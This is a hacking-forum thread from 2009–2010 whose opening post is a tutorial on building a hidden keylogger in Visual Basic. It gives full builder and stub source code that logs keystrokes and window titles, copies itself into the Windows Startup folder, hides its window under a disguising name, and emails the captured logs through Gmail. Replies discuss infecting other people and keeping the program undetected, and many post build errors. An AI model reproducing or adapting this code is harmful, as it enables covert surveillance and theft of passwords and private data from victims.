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 Thread: [TUT] How to make your very own Hooked&FUD Keylogger [VB8]
 

 newbie223 - October 25, 2009, 9:25 pm 
Hey guys i had alot of spare time so i taught ill might make a TUT :D
 
 Builder
 this is the easiest part of a keylogger yet many of us (including me :D)couldn't bother to learn b4
learning to make the keylogger.
 Now lets make your Builder nice Insert 4 Label doesn't matter the label goes just make nice and
neat.Add 3 textbox(textbox1=gmail username)(textbox2=Gmail password)(textbox3=time
interval).add 2 button(button1=Build)(button2=test gmail)
 example builder picture
 Spoiler (Click to View)
[img]http://photos-a.ak.fbcdn.net/hphotos-ak-snc1/hs245.snc1/9228_104189779593298_100000068
281213_113092_1426_n.jpg[/img]
 ok now the codes
 Code Imports System.Net.Mail
 Imports System.IO
 Public Class Form1
     Dim stub, text1, text2, text3 As String
     Const FileSplit = "@newbie@"
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
         For Fadein = 0.0 To 1.1 Step 0.1
             Me.Opacity = Fadein
             Me.Refresh()
             Threading.Thread.Sleep(100)
         Next
     End Sub
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
         text1 = TextBox1.Text
         text2 = TextBox2.Text
         text3 = TextBox3.Text
         ProgressBar1.Value = 10
         FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)
         stub = Space(LOF(1))
         ProgressBar1.Value = 40
         FileGet(1, stub)
         FileClose(1)
         ProgressBar1.Value = 80
         ProgressBar1.Value = 100
         MsgBox("Server created :D")
         If File.Exists("newbie.exe") Then
             My.Computer.FileSystem.DeleteFile("newbie.exe")
         End If
         FileOpen(1, Application.StartupPath & ("newbie.exe"), OpenMode.Binary,
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OpenAccess.ReadWrite, OpenShare.Default)
         FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
         FileClose(1)
     End Sub
 
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
         Dim smtpServer As New SmtpClient()
         Dim mail As New MailMessage
         ProgressBar1.Value = 10
         smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
         'using gmail
         ProgressBar1.Value = 20
         smtpServer.Port = 587
         smtpServer.Host = "smtp.gmail.com"
         ProgressBar1.Value = 35
         smtpServer.EnableSsl = True
         mail = New MailMessage
         ProgressBar1.Value = 50
         mail.From = New MailAddress(TextBox1.Text)
         mail.To.Add(TextBox1.Text)
         ProgressBar1.Value = 70
         mail.Subject = (TextBox1.Text)
         mail.Body = ("Testing Gmail was Successful.Build your keylogger now!")
         ProgressBar1.Value = 90
         smtpServer.Send(mail)
         ProgressBar1.Value = 100
         MsgBox("Message has been sent. Check your Gmail")
 
     End Sub
 
     Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles TextBox3.TextChanged
 
     End Sub
 End Classafter that save all and build your builder
 
 simple enoughi would suggest u try understand codes :D easier to learn
 
 ok now stub
 stub basically is un finish keylogger just nid a little info here and there and its a complete
keylogger:D
 ok open a new project name it stub
 now deco 1st :D
 things to add:-
 textbox1= where the logs will be kept enable=false add a scrolbar :D
 textbox2= gmail username
 textbox3=gmail password
 textbox4=time interval
 timer1=start take logs
 timer2=send email logs
 timer3=clear texbox1
 timer4=run program hiddenly



 heres what ive done 
 Spoiler (Click to View)
[img]http://photos-g.ak.fbcdn.net/hphotos-ak-snc1/hs245.snc1/9228_104189782926631_100000068
281213_113093_7842447_n.jpg[/img]
 
 you can do exactly the same no problem :D
 heres the code
 Code Imports System.IO
 Imports System.Net.Mail
 Public Class Form1
     Dim caps As Boolean
     Dim shift As Boolean
     Dim result As Integer
     Private Declare Function GetKeyState Lib "USER32" (ByVal vKey As Long) As Integer
     Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
     Dim options(), text1, text2, text3 As String
     Dim activewindow As String
     Const FileSplit = "@newbie@"
     Dim newbie As String = IO.Path.GetFileName(Application.ExecutablePath)
     Dim vDirectory As String
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read,
OpenShare.Shared)
         text1 = Space(LOF(1))
         text2 = Space(LOF(1))
         text3 = Space(LOF(1))
         FileGet(1, text1)
         FileGet(1, text2)
         FileGet(1, text3)
         FileClose(1)
         options = Split(text1, FileSplit)
         TextBox2.Text = options(1)
         TextBox3.Text = options(2)
         textbox4.text = options(3)
         Try
             vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
             Dim zDir As New DirectoryInfo(vDirectory)
             If Not zDir.Exists Then
                 My.Computer.FileSystem.CopyFile(Application.ExecutablePath,
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & newbie, True)
             Else
                 My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and
Settings\All Users\Start Menu\Programs\Startup\" & newbie, True)
             End If
         Catch ex As Exception
         End Try
         Timer2.Interval = (textbox4.text * 60 * 1000)
         Timer3.Interval = (textbox4.text * 60 * 1000 + 500)
         Timer1.Start()
         Timer2.Start()
         Timer3.Start()
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         Timer4.Start()
     End Sub
     Private Function GetActiveWindowTitle() As String
         Dim MyStr As String
         MyStr = New String(Chr(0), 100)
         GetWindowText(GetForegroundWindow, MyStr, 100)
         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
         Return MyStr
     End Function
     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd
As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
         shift = GetAsyncKeyState(16)
         caps = GetKeyState(20)
         Dim i As Integer
         For i = 65 To 90
             result = GetAsyncKeyState(i)
             If result = -32767 Then
                 If caps = True Then
                     If shift = True Then
                         TextBox1.Text = TextBox1.Text + LCase(Chr(i))
                     Else
                         TextBox1.Text = TextBox1.Text + Chr(i)
                     End If
                 Else
                     If shift = False Then
                         TextBox1.Text = TextBox1.Text + LCase(Chr(i))
                     Else
                         TextBox1.Text = TextBox1.Text + Chr(i)
                     End If
                 End If
                 result = 0
             End If
         Next i
         If GetAsyncKeyState(32) = -32767 Then
             TextBox1.Text = TextBox1.Text + " "
         End If
         If GetAsyncKeyState(8) = -32767 Then
             TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
         End If
         If GetAsyncKeyState(9) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[TAB]"
         End If
         If GetAsyncKeyState(13) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[ENTER]" + vbNewLine
             If activewindow <> GetActiveWindowTitle() Then
                 activewindow = GetActiveWindowTitle()
                 TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine
+ vbNewLine
             End If
         End If
         If GetAsyncKeyState(17) = -32767 Then



             TextBox1.Text = TextBox1.Text + "[CTRL]"
         End If
         If GetAsyncKeyState(27) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[ESC]"
             If activewindow <> GetActiveWindowTitle() Then
                 activewindow = GetActiveWindowTitle()
                 TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine
+ vbNewLine
             End If
         End If
         If GetAsyncKeyState(35) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[END KEY]"
         End If
         If GetAsyncKeyState(36) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[HOME]"
             activewindow = GetActiveWindowTitle()
             TextBox1.Text = TextBox1.Text + "[HomePage:" + activewindow + "]"
         End If
         If GetAsyncKeyState(46) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[DEL]"
         End If
         If GetAsyncKeyState(37) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[LeftButton]"
         End If
         If GetAsyncKeyState(38) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[UpButton]"
         End If
         If GetAsyncKeyState(39) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[RightButton]"
         End If
         If GetAsyncKeyState(40) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[DownButton]"
         End If
         If GetAsyncKeyState(1) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[LeftClick]"
             If activewindow <> GetActiveWindowTitle() Then
                 activewindow = GetActiveWindowTitle()
                 TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "=============" &
activewindow & "=============" + vbNewLine + vbNewLine
             End If
         End If
         If GetAsyncKeyState(2) = -32767 Then
             TextBox1.Text = TextBox1.Text + "[RightClick]"
             If activewindow <> GetActiveWindowTitle() Then
                 activewindow = GetActiveWindowTitle()
                 TextBox1.Text = TextBox1.Text + vbNewLine + "=============" & activewindow &
"=============" + vbNewLine + vbNewLine
             End If
         End If
     End Sub
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer2.Tick
         Dim MyMailMessage As New MailMessage



         MyMailMessage.From = New MailAddress(TextBox2.Text)
         MyMailMessage.To.Add(TextBox2.Text)
         MyMailMessage.Subject = ("Newbie Logz")
         MyMailMessage.Body = (textbox1.Text)
         Dim SMTPServer As New SmtpClient("smtp.gmail.com")
         SMTPServer.Port = 587
         SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text,
TextBox3.Text)
         SMTPServer.EnableSsl = True
         SMTPServer.Send(MyMailMessage)
     End Sub
     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer3.Tick
         TextBox1.Clear()
     End Sub
 
     Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer4.Tick
         Me.Hide()
         Me.Opacity = 0
         Me.Visible = False
     End Sub
 End Class
 noticed that i have gave some hooked keys not all just some:D
 ok now go to your timer1 set the interval to 5 this should ensure smooth logs
 now all is left to do is save all and build(make sure name is stub)
 and timer4=500(interval)
 change the form name to "Windows Run .dll"
 
 TQ for reading my first TUT any problems just gimme a hola
 if you create a keylogger try add e in credits :D
 Take Note: im not so sure about the attach to startup code if you found better one just post it here
and ill reupdate it
 
 TuT Video link
 Spoiler (Click to View)TuT video by me
 
 ...TQ...
 if you want a video TUT just tell me ill make it in a jiff

Saki~chan - October 25, 2009, 9:36 pm 
im confused, and yea would you make a video on this...it might help clear things up
 
 What is a hooked key look like?

newbie223 - October 25, 2009, 9:38 pm 
kk i will making it now
 hook key is what u see like example [f1] is pressed den [f1] will come out its like that

newbie223 - October 25, 2009, 11:12 pm 
ok video done :D
 SHORTTTTTTTTTTTTTTT MSG

javascript:void(0);
http://www.youtube.com/watch?v=LF2abv5T5cU


newbie223 - October 26, 2009, 3:07 am 
BumP BumP BumP BumP BumP BumP BumP

numan007 - October 26, 2009, 4:38 am 
hmmm where is the video. A littel problem is there in the coding

adz784 - October 26, 2009, 4:42 am 
Sounds good, Ill try this out later.
 
 Thanks.

newbie223 - October 26, 2009, 7:54 am 
Only prob in code would be attach to startup try find in google or from other HF member that code
will work well on XP but vista nid find differ code

xBKx - October 26, 2009, 10:36 am 
WHen It says server created, wich server is created? And if i want to infect someone, do they have
to go to the server or get the keylogger?! Confused :D

djdandew - October 26, 2009, 11:51 am 
You should also post this in the vb net section here
 https://hackforums.net/forumdisplay.php?fid=118
  i am new to vb net so may come in usefull, thanks

Gaming_master - October 26, 2009, 3:35 pm 
I so confused,can somebody descibe how it`s really working?

CyberHR - October 26, 2009, 3:56 pm 
Ok tut by already posted.... https://hackforums.net/showthread.php?tid=151737&highlight=

newbie223 - October 27, 2009, 1:40 am 
CyberHR dis keylogger have hooked keys and smooth logs

iDarky - October 27, 2009, 1:40 am 
This is not his TUT, so he cant clear things up :P

Outline - October 27, 2009, 7:37 am 
You could have made the builder a hell of a lot simpler, and also you could just use a messagebox
to confirm correct GMail..

yfeS - October 27, 2009, 10:12 am 
I click on Build but, the server has not created oO
 Help me plz :)

newbie223 - October 27, 2009, 10:34 am 
ill check on the builder again
 i see where when wrong you see the code change your button1=Test Gmail
 button2=Build Realy sry honest mistake lol :D
 PS: thi si my TuT this was my keylogger V1.0 just taught of gibing it up and the mistake is simple i
mistaken button1 wid button2 so simply switch it make sure stub is done so you may continue/also
make sure texbox in correct order as in txt1 is suername txt2 is password txt3 is time interval if you
guys need the source ill be glad to post it :D
  (Oct 26, 2009 10:36 AM)xBKx Wrote: [CITE] WHen It says server created, wich server is created?
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And if i want to infect someone, do they have to go to the server or get the keylogger?! Confused :D
 ok like dis the newbie.exe is the keylogger that you send to people but if you edit the codes u cna
change the keylogger to wadeva name u like :D
 the video was a fast one if you belive or not i did in toilet you cna guys can choose wheater to
believe that or not

Jon£zy - October 28, 2009, 5:40 pm 
I liked this very much thank you and thank you vofin for the help of him making this tut as it is.

newbie223 - October 28, 2009, 9:20 pm 
yea ty vorfin for your codes
 annoying short msg

vitintensu - October 30, 2009, 8:31 am 
wont u share the video with us??

newbie223 - October 30, 2009, 8:42 am 
i did share da vid
 short msg

DymonHacker - October 31, 2009, 1:12 pm 
thanks shall try this soon :P

Vorfin - October 31, 2009, 1:16 pm 
This isn't hooks, it's GetAsyncKeyState, meaning it uses timers, and thus lags your CPU. Also, if the
person typed fast, it misses keys. Well, as a programmer, that's my comment.
 
 As a fellow teacher/tutorial writer. I say good job, it should really help some people.

newbie223 - November 1, 2009, 3:05 am 
erm vorfin check it out you can splash ur words no logs missing confirmed

hackurheart - November 1, 2009, 3:59 am 
everytime i click build, it creates the keylogger, but when i try it out it gives me some unhandled
exception error :/

sector89 - November 1, 2009, 4:12 am 
I really like this code but there are two things that confuse me:
 1) Why did you code keylogger to only log letters? (referring to 'For i = 65 To 90')
 2) I also found that I was having alot of troubles with getting your builder to actually compile the
stub into the logger and eventually I had to rewrite some of the code myself.

hackurheart - November 1, 2009, 10:44 am 
sector what improvements did u do?

hoLe[R]a - November 4, 2009, 11:45 am 
Looks very nice, maybe I will try it. ?

Skajper - November 29, 2009, 2:37 pm 
Nice trying it right now....
 And this time your signature aint so annoying....CTRL+ALT+DELETE =End Mozilla Firefox
Process+Start New Session = Win +)
 EDIT: The builder is buggy:



 #Only creates stub with no server....
 #Stub shows error
 #Not fully done
 
 Looks like I will have to:
 *Revrite the source code myself.
 *Test does it work if it does.
 *Sent it to you so you edit your tutorial.

SYN.6661 - November 29, 2009, 10:02 pm 
Hmmm Ya im confused on how it all works?

h3cker.me - November 29, 2009, 10:32 pm 
It shows lots of errors, it said that 'Progress Bar1' is not defined.

h3cker.me - November 29, 2009, 11:51 pm 
It shows this when I make the server and run it,
 
 See the end of this message for details on invoking 
 just-in-time (JIT) debugging instead of this dialog box.
  ************ Exception Text ************
 System.IndexOutOfRangeException: Index was outside the bounds of the array.
    at Stub.Form1.Form1_Load(Object sender, EventArgs e)
    at System.EventHandler.Invoke(Object sender, EventArgs e)
    at System.Windows.Forms.Form.OnLoad(EventArgs e)
    at System.Windows.Forms.Form.OnCreateControl()
    at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
    at System.Windows.Forms.Control.CreateControl()
    at System.Windows.Forms.Control.WmShowWindow(Message& m)
    at System.Windows.Forms.Control.WndProc(Message& m)
    at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
    at System.Windows.Forms.ContainerControl.WndProc(Message& m)
    at System.Windows.Forms.Form.WmShowWindow(Message& m)
    at System.Windows.Forms.Form.WndProc(Message& m)
    at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
    at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
    at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr
lparam)
 
  ************ Loaded Assemblies ************
 mscorlib
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase: file:///C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll
 ----------------------------------------
 Stub
     Assembly Version: 1.0.0.0
     Win32 Version: 1.0.0.0
     CodeBase:
file:///C:/Documents%20and%20Settings/Amar/My%20Documents/Visual%20Studio%202008/Proje
cts/Logic%20Keylogger/Logic%20Keylogger/bin/Releasenewbie.exe
 ----------------------------------------
 Microsoft.VisualBasic



     Assembly Version: 8.0.0.0
     Win32 Version: 8.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Micros
oft.VisualBasic.dll
 ----------------------------------------
 System
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll
 ----------------------------------------
 System.Windows.Forms
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/Sy
stem.Windows.Forms.dll
 ----------------------------------------
 System.Drawing
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Dra
wing.dll
 ----------------------------------------
 System.Runtime.Remoting
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/
System.Runtime.Remoting.dll
 ----------------------------------------
 System.Xml
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll
 ----------------------------------------
  ************ JIT Debugging ************
 To enable just-in-time (JIT) debugging, the .config file for this
 application or computer (machine.config) must have the
 jitDebugging value set in the system.windows.forms section.
 The application must also be compiled with debugging
 enabled.
 
 For example:
 
 <configuration>
     <system.windows.forms jitDebugging="true" />
 </configuration>
 
 When JIT debugging is enabled, any unhandled exception



 will be sent to the JIT debugger registered on the computer
 rather than be handled by this dialog box.

rawi16 - November 30, 2009, 4:20 am 
if i run this keylogger on my pc , how i can delete it ? "cure"

Anubis - November 30, 2009, 4:59 am 
Hey Maann ThanX for this :P .:P

darkhunter62 - November 30, 2009, 6:31 am 
Sounds interesting, I will try this out later. Thanks bro.

VidMaster - November 30, 2009, 10:36 pm 
Hey, I have made it succsessfully.
 I am trying it out now!
 
 Thanks.

myzrael - December 1, 2009, 1:59 am 
ok, will give this a try... and by giving this a try... I get myself first working in vb8 :D... finally, i can
start learning this

BumbleBee - December 2, 2009, 6:41 am 
Oh man,it's a super awesome tutorial!
 Thank you!!!

newbie223 - December 2, 2009, 10:09 am 
no problem autobot
 shorty msg

whiteglove - December 8, 2009, 10:29 am 
its kinda sad newbie got ban lol but this is such an awesome >:)

JohnK` - December 8, 2009, 5:33 pm 
Thanks for this I used it. Glad I saw it because I just thought of a new way of saving peoples
keylogs.
 
 By the way, Started VB y'day Hah

t3h h4x - January 4, 2010, 10:31 pm 
Ftw. Doing this at school.

JammyJ - January 4, 2010, 10:45 pm 
thanks, watched the vid

GameOver* - January 5, 2010, 2:16 am 
very good job! i will try it! thanks!

B3SK0B4R NYC™ - February 5, 2010, 12:30 am 
Can some1 tell me why when i build the server, Saves it as STUB.exe? Is that the server? i thought
it was named as newbie.exe ? Or did i do something wrong. Help Plzzz...

newbie223 - February 5, 2010, 7:20 am 



guys within the code at the builder
 
 Code FileOpen(1, Application.StartupPath & ("newbie.exe"), OpenMode.Binary,
OpenAccess.ReadWrite, OpenShare.Default)
         FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
         FileClose(1)
 change to
 
 Code FileOpen(1, Application.StartupPath & ("\newbie.exe"), OpenMode.Binary,
OpenAccess.ReadWrite, OpenShare.Default)
         FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
         FileClose(1)

B3SK0B4R NYC™ - February 5, 2010, 12:42 pm 
Hey, how do i stop the GUI for being extended cause when you extend the whole picture extends
and it looks so nasty....
 
 Spoiler (Click to View)???

optiikzz - February 5, 2010, 5:04 pm 
Thanks for the vid tut because at first i did not get it one bit

uffda - February 5, 2010, 5:19 pm 
Alright, I'm coming from a mostly java background. Trying to make sense of VB a bit, I've done a
little with it in the past. Can't make much sense of the following:
 
 "Space(LOF(1))" alright, Space() creates a string of spaces the specified number long, LOF()
returns a long containing the size in bytes of the program loaded with fileOpen().. but what is it
actually doing for us?

Ex-Coder - February 5, 2010, 8:33 pm 
Wow. Thanks mate.Is this working?

B3SK0B4R NYC™ - February 5, 2010, 11:17 pm 
Why does when i build the server... Server 1KB? and Stub 0KB? 
 Can someone tell me what i do wrong plz? 
 
 Thank's,
 -b3sko.

S4NGOKU - February 6, 2010, 2:03 am 
HMMM VERY GOOD TUTO (short)

optiikzz - February 6, 2010, 5:06 am 
Best Kelogger TUT. YOu make it really easy to understand thank you for this

newbie223 - February 6, 2010, 6:34 am 
thx PLS note the mistake i did in the builder area see page 5 :)

Freestyll3R - February 6, 2010, 11:14 am 
woow very nice tut man thx for sharing .....

.InSaNe - February 6, 2010, 11:49 am 
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do u need gmail or can i use a regular email
 ?

newbie223 - February 7, 2010, 12:00 am 
must oni be gmail
 sorty msg

xtremeinput - February 7, 2010, 12:04 am 
Nice tut easy to understand and Noob friendly mines finished and I changed the GUI and felt LIKE A
GOD haha keep up the good work.......

kl3zero - February 7, 2010, 12:07 am 
hmmmmm this is very how do you SAY ....... E a sY and keep it up

aebob - February 8, 2010, 11:33 am 
thank you... very usefull

Eyman - February 14, 2010, 3:35 pm 
u know, i did exactly everything. But When i click on Build.  ERROR!
 
 When i debugg, something is wrong with Timer2:o
 See the end of this message for details on invoking 
 just-in-time (JIT) debugging instead of this dialog box.
  ************ Exception Text ************
 System.FormatException: The specified string is not in the form required for an e-mail address.
    at System.Net.Mime.MailBnfHelper.ReadMailAddress(String data, Int32& offset, String&
displayName)
    at System.Net.Mail.MailAddress.ParseValue(String address)
    at System.Net.Mail.MailAddress..ctor(String address, String displayName, Encoding
displayNameEncoding)
    at System.Net.Mail.MailAddress..ctor(String address)
    at Builder.Form1.Button1_Click(Object sender, EventArgs e) in C:\Documents and
Settings\Saint\Skrivbord\Brand New\Brand New\Form1.vb:line 47
    at System.Windows.Forms.Control.OnClick(EventArgs e)
    at System.Windows.Forms.Button.OnClick(EventArgs e)
    at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
    at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32
clicks)
    at System.Windows.Forms.Control.WndProc(Message& m)
    at System.Windows.Forms.ButtonBase.WndProc(Message& m)
    at System.Windows.Forms.Button.WndProc(Message& m)
    at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
    at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
    at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr
lparam)
 
  ************ Loaded Assemblies ************
 mscorlib
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase: file:///C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll
 ----------------------------------------
 Brand New



     Assembly Version: 1.0.0.0
     Win32 Version: 1.0.0.0
     CodeBase:
file:///C:/Documents%20and%20Settings/Saint/Skrivbord/Brand%20New/Brand%20New/obj/Releas
e/Brand%20New.exe
 ----------------------------------------
 Microsoft.VisualBasic
     Assembly Version: 8.0.0.0
     Win32 Version: 8.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Micros
oft.VisualBasic.dll
 ----------------------------------------
 System
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll
 ----------------------------------------
 System.Windows.Forms
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/Sy
stem.Windows.Forms.dll
 ----------------------------------------
 System.Drawing
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Dra
wing.dll
 ----------------------------------------
 System.Runtime.Remoting
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/
System.Runtime.Remoting.dll
 ----------------------------------------
 System.Configuration
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/Syste
m.Configuration.dll
 ----------------------------------------
 System.Xml
     Assembly Version: 2.0.0.0
     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
     CodeBase:
file:///C:/WINDOWS/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll
 ----------------------------------------



  ************ JIT Debugging ************
 To enable just-in-time (JIT) debugging, the .config file for this
 application or computer (machine.config) must have the
 jitDebugging value set in the system.windows.forms section.
 The application must also be compiled with debugging
 enabled.
 
 For example:
 
 <configuration>
     <system.windows.forms jitDebugging="true" />
 </configuration>
 
 When JIT debugging is enabled, any unhandled exception
 will be sent to the JIT debugger registered on the computer
 rather than be handled by this dialog box.

d1m3 - February 21, 2010, 5:51 am 
timer 2 is 100interval right?

newbie223 - February 21, 2010, 6:46 am 
Pls dun bump old thread pls read old section as i did a fix in one of the pages <<

Deathader - February 21, 2010, 8:10 am 
This isn't even hooked. This is awful. You should feel bad.

newbie223 - February 21, 2010, 8:31 am 
look at the date man i was confuse back then then ppl started bumping it

CyberHost - February 21, 2010, 9:55 am 
hey can i ask where does the server get created?
 i see in code it deltes the exe if its in ur c:/ but where does it put it i made a exe called newbie.exe
there it just deltes it and doesnt make the server? or where shoudl the server go?

TheBlackMarket - February 21, 2010, 12:49 pm 
Thanks for sharing the source code Mate =) Looks Great.

Klajdi Hasko - March 3, 2010, 6:45 am 
 (Oct 25, 2009 09:38 PM)newbie223 Wrote: [CITE] kk i will making it now
 hook key is what u see like example [f1] is pressed den [f1] will come out its like that
 hei..
 check my new project its fud;)
http://www.4shared.com/file/233512023/29efd658/NEW_PROJECT.html

proisr - March 3, 2010, 9:21 am 
Tanks, but I'm getting an error "Index was outside the bounds of the array" when trying to open the
server.

w_sara89 - March 4, 2010, 9:10 am 
 (Mar 3, 2010 10:21 AM)proisr Wrote: [CITE] Tanks, but I'm getting an error "Index was outside the
bounds of the array" when trying to open the server.
 i got the same problem, already changed the \newbie part in the builder and switched the buttons
any ideas?

https://hackforums.net/showthread.php?pid=1614147#pid1614147
http://www.4shared.com/file/233512023/29efd658/NEW_PROJECT.html
https://hackforums.net/showthread.php?pid=2808394#pid2808394


saian - March 4, 2010, 12:17 pm 
he said its an old thread;p

hacker300 - March 17, 2010, 3:34 pm 
Hepe this rly works..!!!!!!!!!!!!!!!!!!!!!!!!!

minipunch - March 17, 2010, 6:43 pm 
I tried creating the builder but it gave me a bunch of errors in the code...

fist100 - April 2, 2010, 5:05 am 
Name "Fadein" is not declared wtf help please )

sebsebar - May 15, 2010, 8:14 am 
please help get like 20 errors

kingikram - May 27, 2010, 12:57 am 
oh man i created this ... but ... when i click 'Test Gmail' it creates server and when i click 'Build' it
tests gmail .. lol

ziglet^ - June 30, 2010, 3:03 am 
I'll make 1 right now. Thanks for posting this TUT

ZeroCold - June 30, 2010, 8:53 am 
Hi! 
 
 When i have start debugging i got this warning:
 
 http://i45.[censored].com/2j2g9i8.jpg
 
 What can i do to fix it ???
 
 Thank you!

jovan-1201 - July 1, 2010, 2:07 am 
Nice tutorial ^^ Thanks =)

ziglet^ - July 2, 2010, 4:17 am 
Dude u forgot to tell them to add the proggress bar..People who don't undersatnd VB @ all will be
horrified By the Err0rs. :P
 
 Great tut by the way. Way Better than Soul Logger's. :D :D

ziglet^ - July 4, 2010, 6:27 am 
Dude its OK,,..but not FUD...and whre is the Server file created??

Modesty - July 5, 2010, 7:24 am 
 (Jul 4, 2010 06:27 AM)SDKnIgHt17 Wrote: [CITE] Dude its OK,,..but not FUD...and whre is the
Server file created??
 thats because the thread was posted in like november and since then im sure it has been used a
billion times and scanned so many time causing it to beccome detected :)

Zubb - July 5, 2010, 7:48 am 
Brilliant! Love this tutorial :)

https://hackforums.net/showthread.php?pid=4948956#pid4948956


Toxic Re carnage - July 13, 2010, 7:39 pm 
Please help I keep getting the error when debugging on the stub:
 Index was outside the bounds of the array.
 on this line in bold
   options = Split(text1, FileSplit)
   TextBox2.Text = options(1)
   TextBox3.Text = options(2)
 
 ^ and when I build it gives me a network error.

Kirk Gandril - July 24, 2010, 2:13 am 
